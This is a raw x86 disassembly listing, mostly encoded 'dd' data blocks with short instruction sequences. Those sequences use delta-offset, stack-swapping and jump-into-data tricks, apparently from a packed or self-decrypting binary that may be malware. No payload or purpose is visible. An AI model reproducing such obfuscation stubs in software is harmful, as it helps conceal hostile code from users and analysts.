51A2458Ah, 0DEC0D5F2h, 96AA44D1h, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 422ACE25h, 0DCF14D8Bh, 147D8332h dd 0D871BA82h, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 4138C882h dd 462255FFh, 675DF07h, 0C6D55CA9h, 0B85E0003h, 152A5492h dd 0AEAE3075h, 8FA75CDDh, 59A31296h, 0C2B0D9FBh, 0AEAA44DDh dd 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h, 147D7C32h dd 0CB2F1682h, 1D2B037Fh, 142B9675h, 152ABD54h, 0DAC3458Ah dd 0D7E3A8EDh, 44BA4582h, 8D000030h, 15DC08Dh, 50006A08h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BF0F62FBh, 8D89F9F3h, 7FA1CD9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0F9C35646h, 0E0A6E69Fh, 5277BE5Eh dd 77BA60E0h, 6134694Dh, 0D4DB589h, 85C707FAh, 7FA31ADh dd 5F6Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 8EC35343h, 95319697h, 7FA16EDh, 2AC38166h, 0D985C73Fh dd 7FA2Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 60BBC353h, 8D19589h, 816607FAh dd 61720FE6h, 30B5BD89h, 0DE907FAh, 3D000000h, 0CB1C6C51h dd 56150450h, 0A09A9B94h, 16F1B5FFh, 0BD8B07FAh, 7FA0861h dd 0CB5958Bh, 95FF07FAh, 7FA1799h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0ECC35545h, 21B27C78h, 0D9ED04E8h dd 85B58989h, 0F07FA14h, 6ADFBFh, 101995FFh, 0C08B07FAh dd 0D3400BEBh, 0D17753DBh, 51467290h, 3BE987h, 8B600000h dd 0FA1785BDh, 4EF8307h, 0C18BC933h, 0B88320BBh, 4C783EDh dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h dd 100F9h, 0D3820F00h, 61FFFFFFh, 0EBC88BC3h, 16h, 4 dup(0) dd 0F4010100h, 1000005h, 75958908h, 5007FA0Fh, 52505250h dd 8B0Fh, 310F0000h, 8E0Fh, 585A0000h, 5E9310Fh, 7C000000h dd 2B47F2DAh, 489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0CA00F8BEh, 25FA454h dd 14E860h, 0BCB30000h, 8555EA87h, 4849D208h, 0A7348F61h dd 0DBFD6126h, 0BF660C55h, 81587D61h, 1BAA6BDFh, 8B666174h dd 29006AD9h, 0FA01898Dh, 0F006A07h, 38Fh, 0A0DD8000h dd 5F43858Dh, 0D78B0801h, 2830F50h, 0B1000000h, 240489CDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F9C35545h dd 0F6409CB2h, 0DE6040Bh, 0D68B6651h, 6890F5Bh, 8B000000h dd 0FA076D95h, 0B2006A07h, 0F006A16h, 688h, 65BD3100h dd 0FF07FA25h, 0FA2BE995h, 90E78007h, 669E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0FEFF3E57h, 0E8h, 0ED815D00h, 8015F48h, 5E9h, 454D8F00h dd 6AC617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2721ABC3h, 3B5EA79Ch, 79958B33h, 0E907FA1Dh dd 0Ah, 0F61E81DAh, 9D9B6D89h, 8D8B38F7h, 7FA1BE5h, 4E8h dd 0FA000h, 5096B500h, 424448Bh, 2840Fh, 61600000h, 0BA66008Bh dd 44896E6Ch, 33BB0424h, 5878D7BDh, 0BE9h, 91F5B300h, 178DF97Dh dd 1679177Eh, 101995FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0C40B36C3h, 0C8D8CABh dd 12E8211Dh, 18000000h, 32EA9240h, 6A285161h, 0FA3C9961h dd 12BA58C6h, 21BD891Dh, 5B07FA20h, 2825BD89h, 0B58D07FAh dd 8015E14h, 1D8D8952h, 5A07FA29h, 655206C7h, 6A6D67h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 46C7FEC3h, 636E6F04h, 0C735B56Ch, 73610846h, 81660073h dd 6A1B2FEAh, 68A0F00h, 81000000h, 4E8591F3h, 14858D3Bh dd 6A08015Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 35F5C352h, 2025D009h, 80608C6Dh dd 0D980BFC0h, 0E8906102h, 6, 3EFEAEF1h, 1FBB8AC0h, 5F404C4Dh dd 90D58A50h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0A4C35242h, 3321FFE7h, 87F9ADBAh, 2595FF3Fh, 2B07FA1Fh dd 0FA11D98Dh, 0FC00B07h, 6484h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 7282FAC0h dd 0E8C58550h, 0Dh, 0C168BDF7h, 4E8DE684h, 7CAFE59Fh, 0D98B669Bh dd 404E959h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 1B72AFC3h, 23F0885Ah, 0FA177595h dd 4E807h, 12C0000h, 66500000h, 505BCE8Bh, 8BDE8B66h, 0E9042444h dd 13h, 0E54B0E06h, 80CC5743h, 1732B8A1h, 0E4914A1Dh, 8BA9DA9Dh dd 0B8BB5700h, 5F5B2CF2h, 4244489h, 0D78B6658h, 101995FFh dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8D0FBAC3h, 5, 0F5C38166h, 0EFBB6647h, 14B58D97h dd 6608015Eh, 0D105EB81h, 383106C7h, 6A3634h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 3A9AB5C3h dd 370446C7h, 6A31342Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0F614C357h, 381EEBF7h dd 0B70FFA8Ah, 846C7CFh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 4AC35747h dd 7E5C70Eh, 0D2B3FA8Fh, 8166006Ah, 8DB694E2h, 15E1485h dd 2488BF08h, 860F13F5h, 6, 64DBD8Bh, 0F9007FAh, 88Ah dd 8F0F5200h, 0 a_pCrj db '_PЁГ░j',0 db 51h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 3B71A669h, 69B5896Ch, 0FF07FA01h, 0FA1F2595h, 9D316007h dd 7FA0DE5h, 0B61D48Ah, 36840FC0h, 8A000000h, 270E9EBh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 6E60BFC3h, 8C0F96E0h, 9, 3840Fh, 0DE800000h dd 0BDE568F3h, 8B661ADBh, 243481D7h, 1ADBBCC9h, 0DE9h dd 51A59900h, 0F7625DE4h, 4DC37C37h, 95FF0831h, 7FA1019h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h dd 0D6F5C621h, 758C937Bh, 25950303h, 8D07FA1Dh, 15E14B5h dd 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 331021CAh, 3BBA9369h, 694606C7h, 6A656Ch dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 380D63C3h, 0E9D4BF5Ch, 0Ch, 90AEEB67h, 818E1E49h, 9783CD4Ah dd 46C77BB7h, 6E6F6D04h, 51006A63h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0B93C863Eh, 81858915h dd 0C707FA06h, 616C0846h, 6A7373h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0AA450EC3h, 2FD9D29h dd 0BD8B07FAh, 7FA1771h, 0C46C7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0ED80C355h, 6492C2DDh, 662B3DAAh, 6AF98Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 6FB615E4h dd 0E0F926AFh, 7E8ABh, 48DA0000h, 0D8B71C58h, 6E8C4h, 0DEB30000h dd 3CE809BDh, 8D5A5AF5h, 15E1485h, 51006A08h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8F0F28ADh dd 6, 305BD8Bh, 525007FAh, 5FD38B66h, 8B240489h, 0FA08318Dh dd 2595FF07h, 6A07FA1Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 759FC350h, 20840F14h dd 0E8000000h, 14h, 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh dd 980A467h, 3792C7B5h, 8319D8Bh, 0B5F07FAh, 28840FC0h dd 0E9000000h, 2Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0C0C35646h, 8166F8F4h, 0E9D8F7CAh, 0FFFFFA14h dd 0B58D4BB6h, 7FA72FBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 2EC35343h, 9642C765h, 0B7B966C2h, 0B856h dd 9D0B0000h, 7FA1C99h, 6AE6FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 71D240C3h, 999D2Bh, 0C18B07FAh dd 0EE8h, 0C6AF0F00h, 342CD1FBh, 3CFBC3C2h, 5F94835Ch dd 149D8D8Bh, 0C78107FAh, 6E0Ch, 10A1B58Bh, 0D22B07FAh dd 11E9h, 5AD05800h, 0EACC2BFh, 87AAF611h, 981B28B8h, 34FFC010h dd 11BD893Ah, 5B07FA16h, 9E8h, 613F2D00h, 0E77E67D4h, 5EFC4729h dd 456BEB81h, 0B58B0D83h, 7FA1181h, 0A238F381h, 0B96614ACh dd 0C381F91Ah, 477FFB1Ah, 183D9589h, 1C8907FAh, 890F17h dd 66000000h, 838217B9h, 7E903EAh, 3B000000h, 5962F7A7h dd 0F4AF326h, 681h, 0C9B58B00h, 8107FA07h, 0FF92ACFAh dd 8F850FFFh, 0FFFFFFFh, 0C88h, 6880F00h, 0F000000h, 83h dd 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD2555CAh dd 0FD257B28h, 0FD256C69h, 0FD25E5CFh, 0FD2520B9h, 0FD25C297h dd 0FD25B27Ch, 0FD250A5Dh, 0FD255648h, 0FD257B77h, 0FD256C4Ch dd 0FD25E7A1h, 0FD252102h, 0FD25C3E3h, 0FD25B2CCh, 0FD250988h dd 0FD2555DCh, 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch dd 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h dd 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A25AC976h dd 0A25B7A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h dd 701ABC75h, 0FC1036F0h, 62FFA67Dh, 70729613h, 0FC10B5F0h dd 0A2FF6C7Dh, 7072F313h, 0FC10C5F0h, 66FF357Dh, 70725F13h dd 0FC1033F0h, 9EFF1E7Dh, 7072CA13h, 0FC133EF0h, 9AFF7B7Dh dd 70727813h, 0FC12C5F0h, 96FFD77Dh, 70722E13h, 0FC121CF0h dd 92FF427Dh, 7072E413h, 0FC1253F0h, 8EFFF07Dh, 7072BD13h dd 0FC12A2F0h, 82FFA67Dh, 70729613h, 0FC1203F0h, 8AFF6C7Dh dd 7072F313h, 0FC129EF0h, 86FF357Dh, 70725F13h, 0FC12D3F0h dd 82FF1E7Dh, 7072CA13h, 0FC13D3F0h, 72FF7B7Dh, 70727813h dd 0FC13E9F0h, 6EFFD77Dh, 70722E13h, 0FC13EFF0h, 6AFF427Dh dd 7072E413h, 0FC1333F0h, 7EFFF07Dh, 7072BD13h, 0FC13A6F0h dd 7AFFA67Dh, 70729613h, 0FC1058F0h, 76FF6C7Dh, 7672F313h dd 76788F0h, 25FF3572h, 76725F13h, 76C06F0h, 21FF1E72h dd 9C72CA13h, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0F57BDB99h dd 0F53FD525h, 9BADADFDh, 34229F74h, 0AC7ACFB7h, 0AD29B723h dd 0FD7A1A20h, 7C277975h, 0FC12B198h, 0A3FFA07Dh, 7D722E13h dd 0FC1CC9C8h, 0B409CF7Dh, 4B75E4C5h, 89BAF9B5h, 21EF8635h dd 0BD72BD13h, 452B96FEh, 0FD7A2F7Ah, 9BA6028Ah, 48F7C374h dd 0F57B832Ah, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h dd 9BA6BA8Ah, 48F79F74h, 0F57BAD2Ah, 50FCD1F8h, 1F23228Ah dd 0A3F787BCh, 0A072BD13h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h dd 5779C1CDh, 9BA2708Ah, 3ED1FA74h, 0FD78079Dh, 9BC2DA75h dd 9B5954CDh, 25EFD0DEh, 9B729613h, 959208DEh, 0B7AE577h dd 8872F336h, 25EF866Eh, 4D72BD13h, 0AD7954C5h, 9BA2BA8Ah dd 9B209F74h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h dd 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h dd 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh dd 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h dd 0B207975h, 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h dd 4DBA07F5h, 6885B5FFh, 0F57B94ADh, 0FD5F1F2Fh, 3F71DA51h dd 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h dd 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh dd 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h dd 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h dd 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh dd 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 21EF0D75h dd 70727813h, 0FC1C1FC0h, 518A5D7Dh, 2D02C7Fh, 0FC1C4FE0h dd 0E592087Dh, 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah dd 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh dd 9B4BFDCDh, 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h dd 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h dd 592438Ah, 4D7A5E75h, 5779252Dh, 0A8FF69B6h, 7D72CA13h dd 0FC1CB0C8h, 0EC0FF37Dh, 9BBDFCF8h, 152AB474h, 0FD7A5C61h dd 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah dd 0A8F787DFh, 7D72BD13h, 0FC1C0BC8h, 0F10F2F7Dh, 9BBD12F8h dd 152AC374h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0F57BDAA9h dd 965EC3F8h, 0F9F02774h, 4DB93D6Dh dd 562D619Ch, 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h dd 9BA2CB8Ah, 4ACE2774h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h dd 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h dd 25EF68B6h, 7D72CA13h, 39FAEA91h, 9B7542F5h, 15D12EDEh dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h dd 9BA6708Ah, 60F7FA74h, 0F57B1FCEh, 3E39A0F8h, 0FD7A4ECDh dd 21EFD075h, 7E729613h, 35F1CEB5h, 25EF1A89h, 5772F313h dd 15B98E97h, 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h dd 1608CB75h, 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh dd 17FB0475h, 0F57B4441h, 7D86EAFCh, 0FC1C1CCFh, 7975E57Dh dd 0FD7AF2ECh, 0FD7A73CDh, 21E84375h, 0BD725F13h, 9B9AADFCh dd 35F19F74h, 917279F8h, 6F85ED74h, 0F57B94ADh, 1F3C7FFDh dd 0FD6D0480h, 7F795E75h, 0F57B4995h, 1E01A35h, 7E72CA1Eh dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0F57BDA95h, 9690ECF8h dd 59892774h, 0FD722F2Bh, 6F85CB75h, 0F57B83A9h, 897E0AF6h dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 0E690162Fh, 7072CA19h dd 0FC1C01CFh, 0F50F797Dh, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh dd 19E7A226h, 7D729613h, 887BD349h, 1683BE71h, 3E82A977h dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0F57B4321h, 9B9E25F8h dd 80F1C374h, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h dd 0F57B3891h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 9B9E58F8h dd 0C2FBFA74h, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h dd 9C82969Eh, 40F7ABB6h, 0F57B8391h, 0FD7AF3CDh, 0FD72C075h dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0F57BF184h, 0CA8BD08Ah dd 0E2870CEBh, 62DD4FC1h, 2D2F24F8h, 41E9BB7Dh, 0E9000006h dd 635h, 0D40A9482h, 7DB3EB27h, 235945D0h, 0CF059976h dd 79AFEF22h, 6AA79045h, 0C351FE34h, 18F8A5DBh, 70A35086h dd 0D129F82Eh, 0E7EF52B5h, 631A8007h, 0A7326CA7h, 45D0CE42h dd 0DF6A34E0h, 7C07977Ah, 633BD72Ch, 5C09AFD8h, 0E5EE9B5h dd 0BA4559B9h, 0D13EEB91h, 38DD42CDh, 27E70F55h, 0CD38B2ECh dd 2DB8216Bh, 1E434AC8h, 0C417611Fh, 627F0E5Ah, 672F4FE8h dd 416AF5A9h, 8ADF6FD8h, 638C1787h, 0B0DA2ABDh, 201B62D8h dd 6DCE7400h, 5FB4441Ch, 3760EBB3h, 79B9F991h, 43AFEF24h dd 0FFE6F9E0h, 9307AD06h, 7E865F1h, 801EF146h, 0AD3891DAh dd 9BD1CD48h, 0EC7727EEh, 0AB9A5DC0h, 0ABF31F4Fh, 4955BB20h dd 722C65BEh, 3EF831CAh, 0ADE3BB5Ah, 93233D4Ch, 8D11FE53h dd 0A6DD902h, 384FA96Ah, 61A139DFh, 1A9CD737h, 0DF852831h dd 0AA8DCD6Bh, 10A0F957h, 0BF4A54BBh, 7EE7B75Ah, 0BC623CD9h dd 524CC429h, 0C1A16F1Ch, 9D011151h, 1780E912h, 0C1DD3287h dd 4B930D36h, 0F0D28EB3h, 0C1ED8026h, 74A42ADFh, 0FF1B5BABh dd 6B1FAA9Ch, 0CEA360CAh, 0FD54A9E6h, 0B36DEE94h, 19858FE4h dd 12BF658Eh, 96AA0FEh, 1050E080h, 0B9445ABBh, 0C476EA90h dd 43731A65h, 385423EEh, 6CAA5FD5h, 9339A2FBh, 0C61F14Ah dd 0E60F9A04h, 1A81AD40h, 246CAA5Fh, 0AAE2E9A3h, 48A5386Bh dd 7, 3AB6DD9h, 0A7060000h, 7BA53569h, 0C9933A50h, 0DEA31DEFh dd 0B61F2156h, 0D53ACD73h, 81D35E40h, 56BA9E58h, 0AFA20521h dd 77D0FFE6h, 0EB297E0Eh, 22CF0DB3h, 9425B0EEh, 0CCD24137h dd 2D35DC41h, 32CB7E7h, 0C2F30F9Ah, 0BC356008h, 0ACF21E02h dd 2D4AC71Ch, 0E6AFAE11h, 127BD4FFh, 41962E6Ch, 7C29CFCFh dd 157A0599h, 8719A4FAh, 55C0A45Eh, 0F9A040Dh, 0AD006CE6h dd 0A2BE4E43h, 688F0339h, 0B263C53Eh, 71093F5Fh, 0CB828847h dd 0BE649C10h, 109B0311h, 0AA3569ABh, 7A5E1851h, 0E7CE049Ah dd 0F1h, 0AB67BC80h, 0DBC34EF3h, 0B1BBD435h, 4C52C126h dd 0E1AC6916h, 0BD0384C0h, 1DA811B7h, 0E6B18EF1h, 8EE323FFh dd 0F6771D81h, 0E1BD583Ch, 4C16FEABh, 2750DBC3h, 8EE333BEh dd 68911C82h, 0B159BCD8h, 2E87FFE6h, 6638DB88h, 3859ACD6h dd 0D380A69Ch, 0E77A54B7h, 0C02982FFh, 0DE2E871Ah, 6C128C89h dd 0C74D31EBh, 21F247D7h, 24C9F27Dh, 0FF28B3EBh, 2E831B59h dd 62FBAE4h, 3D61B360h, 0DAC44DB2h, 0B3A204Ah, 3E84B67h dd 0B50EFFE7h, 0FFB9E73Bh, 0D8018C12h, 0A436C96Fh, 37DDC17Bh dd 8D843167h, 25418111h, 0FFE6B3C2h, 0F15470F0h, 1FFFE6B2h dd 24B75DC6h, 0CD0E3593h, 0E8044413h, 0FFE6B385h, 0FFAC52ABh dd 0A7FC8C12h, 46AB3668h, 1C45D0CEh, 22CF0DB3h, 0DB3489EEh dd 0A30F38C3h, 0FFE6B340h, 19A40D66h, 0E6B387EDh, 0AB6596FFh dd 1F5549C7h, 607CBC68h, 0FFE682FDh, 3950CA23h, 0E2AE7C22h dd 61AF5C02h, 0C34DB23Dh, 0DC3598B4h, 0F15BFFE6h, 0D6DD1B9Ah dd 58C12AC4h, 0F3AB68CDh, 8C120368h, 3295B101h, 60FFE6BEh dd 7B356E07h, 8C4677D3h, 0B6FE93BDh, 46F1F241h, 0EB379AB6h dd 45DFFE6h, 3F5FB15Eh, 0E8B65AAFh, 508E345Dh, 0E6F052DCh dd 256028FFh, 0C53874F7h, 0FFFFFEA5h, 0B996F356h, 563459F1h dd 0B141AAE0h, 0E0F02B95h, 0D35EB707h, 0C3F9A56Eh, 6539D62Bh dd 9D0112BFh, 62AD12h, 9B268F0Fh, 804F0942h, 2FBAE42Bh dd 60B36006h, 0B85B083Eh, 0C92F5BE6h, 0DA07E0C3h, 80BEFA9h dd 88C86096h, 0E0C3096Ch, 38DE3707h, 8B16888Bh, 9BE7113Bh dd 0F067D82Ah, 83137C22h, 0E1610467h, 33D93207h, 19A9B7D2h dd 0DB794BFDh, 88BE170Fh, 6EFE6227h, 1DA8F619h, 76B64EF4h dd 4CB71A36h, 48DDFFE7h, 0C369D2CCh, 0E8B8B54Fh, 0ED78D107h dd 0E0168888h, 36C1DD33h, 0AC25A70Ah, 0F7A7694Fh, 940A076Ch dd 0D48EB709h, 305A9A2Ch, 0B6B1B46Eh, 0E3640A8Eh, 0D3CB4529h dd 7A24F09Dh, 18868AEFh, 0C92C4888h, 0F74FA888h, 4065F89Eh dd 0F63605BFh, 0A88877DAh, 11D9D4Fh, 4FA8889Eh, 5D026BC4h dd 325BE6B8h, 9484BC8Ch, 166B8836h, 18F99FFFh, 0B9h, 336BA7A9h dd 0A29E79A3h, 63B20FE1h, 0BDE77FBDh, 0BB3029EDh, 5A950F45h dd 1D0B9DA6h, 90CB95Fh, 5DB25F95h, 5571B141h, 0FFE715F2h dd 0E321C720h, 8DC3DB36h, 0E03131E0h, 7A0A33BEh, 0E715FB5Eh dd 67D029FFh, 0E908431h, 0BF223E7Eh, 81FFE716h, 70C90A94h dd 31DF8CCAh, 898A376Dh, 0DF32DF15h, 55AD34BFh, 0E48A1400h dd 66D70151h, 4E71A91Fh, 0E2B58EB4h, 5D380968h, 314EB1CDh dd 1B74FFE7h, 534BC875h, 530D36C8h, 76D9F54Dh, 9CFFE731h dd 319D001Ch, 6AC3FFE7h, 0A9FCCB01h, 670Ah, 0C8F4A300h dd 0FFE68368h, 29B4EA2Ah, 0C24D51C4h, 0A54D0730h, 4F0AAD3h dd 336BA75Dh, 0D9C550FDh, 8519F6A3h, 1E6FA24Fh, 0E4E3F0Bh dd 0C3F9624Ah, 6DA3FB16h, 0C9280D5h, 5B25881h, 0C1598F0Fh dd 70FBA36Ch, 2E97070Bh, 4235DB88h, 0E743C326h, 2F98F1FFh dd 0D8C64A9Fh, 407E244Dh, 0E81E8093h, 301h, 5CBB9A00h dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 404D6852h dd 0C890000h, 6D8A6824h, 34890000h, 0E0895024h, 405h, 42D00h dd 4870000h, 14895C24h, 0AB95124h, 0BE22410Ch, 0E5C060D1h dd 2546EE81h, 0CE0170FFh, 2546C681h, 685970FFh, 590Ch dd 81242489h, 42404h, 505A0000h, 601BB53h, 9B8533Ah, 31533A06h dd 0D0015BD8h, 8B583089h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dd 0BF98C03Ch, 727CB830h, 0C5030801h, 14E8D38Bh, 42000000h dd 81624F0Eh, 68F62FD6h, 2FC8FEB0h, 0DF530368h, 80B3F489h dd 0F5A1BDCh, 98Dh, 38C0F00h, 0F000000h, 0C281FEBFh, 7182h dd 11E9h, 0E1663E00h, 8176B48Fh, 67EEF362h, 7663E2A8h dd 68E376h, 60000000h, 0ED11CB8h, 0CE823h, 72310000h, 6622233Dh dd 16CCCDDDh, 810FBE96h, 0 dd 0F5E6159h, 38Bh, 38D98000h, 60321C8Bh, 8161F9FCh, 0CA5182C3h dd 81E38A1Ah, 9F512EF3h, 61FC600Dh, 999AC381h, 665346ECh dd 48FC28Bh, 0FCCB8B32h, 8B03EE83h, 8E0F4ECBh, 6, 0CA8EF81h dd 0FE81538Ah, 0FFFF8F68h, 16850Fh, 0B8660000h, 2EE9D699h dd 51000000h, 0B168CD21h, 0EF50BC0Eh, 0CA262E56h, 0AE8h dd 29467A00h, 25CFC9B0h, 812E7F45h, 7874E7E8h, 89E9582Ch dd 54FFFFFFh, 6931BC25h, 2D9D8DD1h, 0B807FA26h, 2490h dd 0D818589h, 0E807FAh, 58000000h, 0D05h, 0E9038900h, 2490h dd 924h dup(0) dd 2AE9h, 2404C700h, 0 dd 0E8h, 0ED815D00h, 80198D0h, 424448Bh, 212D8589h, 0B807FAh dd 8D000000h, 0FA4F668Dh, 0B8E1FF07h, 6754h, 41E2E9h, 27779F00h dd 0D0CE44F1h, 7628ED9Ah, 227C9340h, 0CCD23FECh, 0C6AD6296h dd 701D534Bh, 17C4FAA4h, 0C26FA5F9h, 48174D51h, 1B71D4F0h dd 399F07E8h, 0AD67BC82h, 0FE864BF1h, 0EF0B6CA9h, 0FFE6838Ch dd 52F861BAh, 326CA79Bh, 0A752C183h, 83C92F6Ch, 9CF5FFE6h dd 55ADAEDh, 0DE07920Ch, 1F7B8138h, 0D3771E1Fh, 0FA204A19h dd 0AED33D5Fh, 187B9727h, 3EFFE6A8h, 0BC883FE5h, 4CF2AC67h dd 0C303749Fh, 0E68344A7h, 0AB0872FFh, 0C404EEA8h, 0D549EF58h dd 0FFE6BD6Fh, 0BC93429Bh, 0AFEC792h, 781E8ECAh, 7CBC8C33h dd 0E682FD60h, 50CA23FFh, 103F68FCh, 11BE6436h, 0C1EF9E00h dd 0FA68A752h, 6C1B841Ah, 0FD607CBCh, 23FFE682h, 229124CAh dd 0E55C860Eh, 2F6E28F1h, 0AA138B86h, 0EF62AC30h, 0FFA5B751h dd 2B19D348h, 83326CA7h, 6CA73BDAh, 0D878A232h, 87861B28h dd 0BC7D34DAh, 6BF6A867h, 83229C42h, 19D35AB9h, 326CA72Bh dd 0E0680F83h, 0FFE6F346h, 326CA7EEh, 0A75F1683h, 1683326Ch dd 0F86AA75Fh, 0DBF78717h, 0FFE68378h, 2DDC459Eh, 0F3AB67BCh dd 779A3F68h, 9EEE8127h, 83DF425Eh, 0AC05FFE6h, 69A74F06h dd 0E683CC32h, 0F2A1FAFFh, 6AA73BDAh, 0E683CB31h, 0EF9EF7FFh dd 68A7680Fh, 92BC8736h, 5CA80865h, 770AB0E1h, 5D41D227h dd 4C03A9D2h, 300C1CE0h, 860EDC77h, 83C72A46h, 8C89FFE6h dd 1D5E8712h, 0BC671EC4h, 0F7ADDF92h, 6B07811Dh, 9819BF83h dd 6BA7F0DEh, 0D1298E22h, 0CC3526E1h, 